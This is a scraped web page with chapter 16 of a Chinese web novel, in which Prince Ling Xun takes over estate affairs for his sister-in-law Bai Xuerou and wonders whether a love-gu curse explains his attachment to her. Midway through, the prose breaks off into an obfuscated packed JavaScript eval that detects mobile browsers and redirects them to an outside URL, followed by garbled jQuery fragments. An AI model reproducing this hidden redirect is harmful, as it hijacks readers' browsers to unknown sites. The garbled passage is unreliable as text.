16.第 16 章

作品:《穿进虐文从杀死男主开始

    “嫂嫂放心,父王叫我回来,为的就是这件事。您好好歇着就是。”凌峋温声对白雪柔说,“若愿意在庄子上散心就待着,若想回府就回去,这些琐事交给我就好。”


    世间女子有千百种,精明强干的,干脆利落的,但都不是白雪柔,他的嫂嫂温柔和软,喜春花秋月,夏荷冬雪,爱世间一切美好之物,不贪婪,没野心,一心只想过平安顺遂的快活日子。


    最讨厌一切超出计划和预期的烦恼事,比如现在。


    果然,这句话一出,白雪柔就很是松了口气,整个人仿佛一瞬间轻松下来。


    凌峋笑看,眼神越发柔软。


    “行,那就交给你了。”白雪柔痛快道。


    “嫂嫂预备回去还是?”


    “不急,我在这儿待两天,且缓缓再说。”白雪柔毫不迟疑,天知道这几天她有多头疼,好不容易轻松下来,她只想安安静静待着,什么也不想干。


    凌峋应好,心下也是一松。


    时隔大半年,虽有书信往回来,可到底差了些什么,好不容易再见到,他也想和白雪柔多相处相处,能简单哦啊人总是好的。


    白雪柔迫不及待想把这一堆烂摊子甩出去,立即就说,“那这些事就交给你,我这就回去松口气。再叫人好好准备,晚上为你接风。”


    “对了,你午膳用了吗?”她忽然想起问道。


    这会儿是未时,按理说午膳都用过了,只是白雪柔想着凌峋一直赶路,说不定耽搁了。


    “用了。”凌峋心下妥帖,笑道。


    白雪柔这才放心,叫了人进来让凌峋使唤,自己起身走了。


    凌峋目送她离去,才招来管事的和护卫询问细节,又叫来自己的亲卫吩咐下去。


    白雪柔回了起居的后院,躺在软榻上闭目养神,连吩咐婢女好好准备晚膳都没睁眼。


    金桃银桂几人见了不由为她高兴,自家主子不喜欢麻烦这事她们都是知道的,都悄悄去做自己的事,谁也不多打扰,让自家主子好好享受一下这得来不易的安生。


    白雪柔放空了好一会儿,甚至睡着了,等醒来后,吃着婢女准备好的水果,看着窗外的满山红叶,只觉这才是人过的日子。


    银桂在旁边禀报,说六郎君那里刚刚递了信过来,庄子上的事情已经处理好了。


    “六郎君调了人过来到处巡视,一个个瞧着威风又厉害,保准出不了事。”金桃相对活泼点,说话间很是高兴。


    银桂比较安静冷清,也眼睛微的发亮。


    想来这些将士们给她们带来了不少的震撼。


    “那就好,六郎君那里安置的可妥当?”白雪柔又问。


    “奴婢等看不出六郎君的喜怒,六郎君也没说什么。”银桂立即道。


    早知凌峋要回来,虽然不确定他住不住,但白雪柔还是吩咐人准备了院子。


    “罢了,回头我问问。”白雪柔无奈,想起了之前有些仓促的那一面。


    只是大半年的时间,恍惚中凌峋好像又长高了。


    这个年岁的少年人,几乎一天一个样,记得她这个年纪的时候,一季就得重做一次衣服,不然都不合身的。


    五官轮廓也越发清晰明显,越发的好看。


    “看来我那面甲倒是送对了。”


    几个婢女忽然听到白雪柔说,反应过来后不由一笑,想说点什么,但又不敢妄议主子,只好对视一眼。


    白雪柔也只是感慨一句,又问晚膳准备的怎么样。


    银桂忙道,得了白雪柔的吩咐后,膳房就立即开始准备,不敢大意。


    食材都是早就准备好的,从她来庄子,日日都会送来新鲜的。


    如此确定事情准备好后,白雪柔不由微笑,整个人都放松下来,决定带人到院子里走走松快松快。


    刚一出门,有些凛冽的凉气便就扑面而来了,一抬头远山的风景便印入眼帘,天高云淡,叫人身心都不由开阔起来。


    虽然是落脚的别院,但建的极大,几乎将山脚都全进了里面,白雪柔领人,循着路往一侧的小溪走去。


    那里原有片花林,桃花杏花梨花等春日十分好看,只是冬日枝叶零落,是以前两年她叫人移了棵老枫树来,这会儿满树红叶,最是好看,树下沿着小溪拦了个池子,里面养了些红鲤鱼,十分漂亮,水也清澈,枫叶落下随波逐流很有些意境,无事看看正好打发时间。


    白雪柔远远瞧见那棵满树红叶的枫树便缓下了脚步,细细赏着,见红叶飘落到水面,有鱼儿追逐而来,顶了几下,似是发现不能吃,便就又一甩尾巴游走了。


    她看着不由笑起,几个婢女们已经手脚利索的将树下的石桌石凳收拾出来,垫上绵软的垫子。


    白雪柔却不急着坐,而是取了鱼食来抛下水,没一会儿就引来一群游鱼挤挤挨挨的抢食。


    有黑有红,还有金色,画一样。


    白雪柔不由微笑。


    凌峋来时看见的就是这一幕。


    他刚带人将庄子里外大致转了一遍,回来时本要回院,就听说她往这边来,便就跟来了。


    冬日有些冷了,白雪柔橘红襦裙外披着素色披风,站在枫树下,鬓边步摇轻晃,俨然是一幅活色生香的美人画卷。


    大半年的战事里,每每攻占下一处地方,有人想方设法的献上各种奇珍异宝,包括美人。


    毋庸置疑,送给凌峋的自然是最好的,纤瘦的,丰腴的,清丽者有之,妩媚者有之,一个个俱都千娇百媚,惹人怜惜。


    随行的将领们大多受用了,只凌怀峋从不为所动,曾有人问询,他只道‘不想吃亏’,引得众人先是惊愕,而后忍俊不禁,但仔细想想,竟又觉得很有道理,以他的本领相貌,便是天仙也配的,这些美人虽然不错,却也配不上他。


    只是说笑归说笑,大家却也道,凌峋这是还没开窍,还在背后猜测,也不知什么样的女娘能拿下他。


    这些凌峋都知道。


    他只是不在乎。


    生而为人,肉体凡胎,往往有千百种欲望,酒色财气,为名为利。


    他只是恰好不在意色只一字,如何的美人,在他眼中也如红艳枯骨,不值一提。更何况他自身本就拥有着过人的样貌。


    但万事万物总有例外。


    他的例外便是白雪柔。


    在他心中,她是世间最美的女子,一颦一笑皆能让他注目欢喜。


    而这例外,究竟是因为她是对他最好之人,还是因为情蛊……连凌峋自己都分不清。


    在外间传闻中,南疆的巫蛊诡谲很多,情蛊也被传成束缚控制一个人的手段。


    可实际上,苗族的情蛊本身是给有情人用的,不存在控制与否。它的作用是潜移默化让两人越来越心意相通,可以更清楚的感知到对方的喜怒哀乐。因此,提升对方的好感是种必然的事。


    而所谓的束缚和控制,是对变心者的惩罚。


    只是下蛊的人大多深情执拗,往往宁愿拉着对方一起下地狱也不肯放手,久而久之,就被传成了现在这样。


    会是因为情蛊吗?


    凌峋希望不是。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274096|181808||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    若白雪柔对他的好全然出自情蛊,岂不是显得他太可怜了。


    想到这里,凌峋忽然明白那些前辈为什么不肯解开情蛊。


    距离情蛊发作还有三年。


    凌峋想,一抬眼,便对上白雪柔笑盈盈看来的脸。


    “六郎。”白雪柔这才开口。


    她发现他已经有一会儿了,只是见他站在那里发愣,有些新奇,便就看着也没打搅。


    “嫂嫂。”凌峋莫名有些局促,喉间有些干,喉间吞咽了一下,过去扫了眼,笑道,“这鱼养的不错。”


    一个个膘肥体壮。


    “这里又没人打搅,每日除了吃也没别的事,能不好嘛。”白雪柔笑着说。


    这鱼是给主子样的,平日庄子上就算有人想吃鱼,也不会动它们,在池子里待着又没天敌,壮是自然的,没胖成圆滚滚,还是因为没喂太多。毕竟要给主子赏玩,太胖了也要担心不好看。


    “我出征的时候有时扎营,也会抓些野味和鱼吃,按照嫂嫂你给的法子,那些鱼丸吃着味道不错。”凌峋走近白雪柔,与她并肩看鱼,边笑道。


    白雪柔来了兴致,问道,“你是说鱼丸?”


    鱼丸是白雪柔想出的法子,她爱吃鱼,又不喜欢挑刺,婢女倒可以代劳,但吃食一类,她不怎么喜欢让旁人碰。


    是以虽然爱吃,但吃的不多,直到从记忆里得了鱼丸的法子,便叫人试着做了。


    凌峋应了声是。


    白雪柔没急着就此聊下去,先问了庄子上的事情,她虽然撒手不管,却也不能真的什么都不知道。


    凌峋大致说了自己的发现以及安排,她含笑听着,眉目不由舒展,只觉这孩子做事越发细致妥帖,且还稳重,只是听着就让人很是安心。


    “你安排的很好,我没什么好交代的,剩下的事还要劳烦你,若有我能做的,直接叫我就是。”白雪柔笑道,又不由感叹,“你长大了。”


    “日子过得真快啊,感觉只是一转眼,你都十四了。既能上阵打仗,也能为我分忧。”


    听了这明显是夸赞的话,凌峋原本神情平淡的脸上浮现出连他自己都没察觉到的笑意。


    “都是嫂嫂教得好。”他谦逊道。


    “可别这么说。”白雪柔忙推辞,“我最多只是照顾你吃穿,这种小事,便是没有我,婆子婢女们也能做到。说到底,还是你自己出息。”


    她听了凌峋的话,心里很是受用,却也不准备全然居功。


    凌峋却认真起来,而且显然对她这话有着十二分的不赞成,道,“没有嫂嫂,就不会有我今日。”


    白雪柔转头欲要看他的眼,竟要一再抬头,还来不及感叹,便被那双眼里的真挚弄得怔愣住,而后失笑。


    “你这孩子。”她一时不知道说什么,随口感叹了句。


    “嫂嫂,我十四,再过两个月,就十五了。”凌峋纠正。


    “好好好,十五。”只有小孩子才要纠正年龄,等到了一定年纪,便恨不得将年纪说的越小越好了。笑归笑,白雪柔也听出他介意什么,对着凌峋有些郁闷的眼神整了整神情,收了过于灿烂的笑意,恢复了温柔,认真道,“我以后不叫你孩子了,我保证,唔,以后便都叫你六郎,可好?”


    她语气认真,可太过温柔,总给凌峋一种哄慰的感觉。


    按理说他该不高兴的,可完全没有,只身上一股酥麻,叫他有些别扭,甚至还不由有些留恋这种口吻。


    就和之前那温柔的抚摸一样。


    凌峋觉得自己可能有病。